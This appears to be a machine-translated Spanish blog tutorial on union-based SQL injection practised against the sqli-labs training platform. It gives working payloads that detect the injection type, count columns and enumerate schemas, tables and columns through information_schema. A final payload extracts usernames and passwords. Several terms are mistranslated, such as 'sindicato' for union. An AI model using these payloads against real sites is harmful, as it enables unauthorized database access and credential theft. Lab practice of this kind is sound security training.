Inyección conjunta de inyección sql

Preparación antes de la inyección

Cree una plataforma de inyección SQL local

La dirección de descarga de sqli-labs: https://github.com/Audi-1/sqli-labs
Primero, la versión de PHP no puede ser mayor que 7; de lo contrario, no se puede usar.
Inserte la descripción de la imagen aquí
Inserte la descripción de la imagen aquí
Descomprimir para
Inserte la descripción de la imagen aquí

Hay un archivo db-creds.inc en sqli-labs-master \ sql-connections. Abra y modifique la cuenta y la contraseña.
Inserte la descripción de la imagen aquí
Inserte la descripción de la imagen aquí
Como se muestra en la figura siguiente, es normal
Inserte la descripción de la imagen aquí
. El rango de disparo se puede configurar y la inyección SQL puede ser practicado.

Funcionamiento básico de inyección

Juzgando si el plástico o el tipo de personaje

Después de ingresar y 1 = 1 y 1 = 2, si la página no cambia, no es una inyección de números enteros.
Si el cambio es una inyección de números enteros
Inserte la descripción de la imagen aquí
Inserte la descripción de la imagen aquí
, ¿dónde está el número entero ? No agregue ningún símbolo después de id = 1.
¿Se puede usar el tipo de carácter? Después de id = 1, agregue cuatro símbolos de ', ",'),")

Determinar la cantidad de columnas de consulta

Utilice el orden por declaración

Inserte la descripción de la imagen aquí
Inserte la descripción de la imagen aquí
Como se puede ver en la figura anterior, se informará un error cuando el número de columnas sea mayor o igual que él.
?id=1'order by3--+

Inserte la descripción de la imagen aquí

Posición de visualización del juicio

Utilice la declaración del sindicato, la declaración
antes de que el sindicato debe informar un error
Inserte la descripción de la imagen aquí

?id=-1' union select 1,2,3--+

Obtener todos los nombres de la base de datos

Usa la función group_concat ()

select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA

Inserte la descripción de la imagen aquí

Obtener el nombre de la tabla

?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3%23


Inserte la descripción de la imagen aquí

Obtener el nombre de la columna

?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3%23



Inserte la descripción de la imagen aquí

Obtenga la información en la columna

?id=-1' union select 1,(select concat_ws(char(32,58,32),username,password) from users limit 1,1),3%23 

Inserte la descripción de la imagen aquí

Supongo que te gusta

Origin blog.csdn.net/qq_51954912/article/details/113731351
Recomendado
Clasificación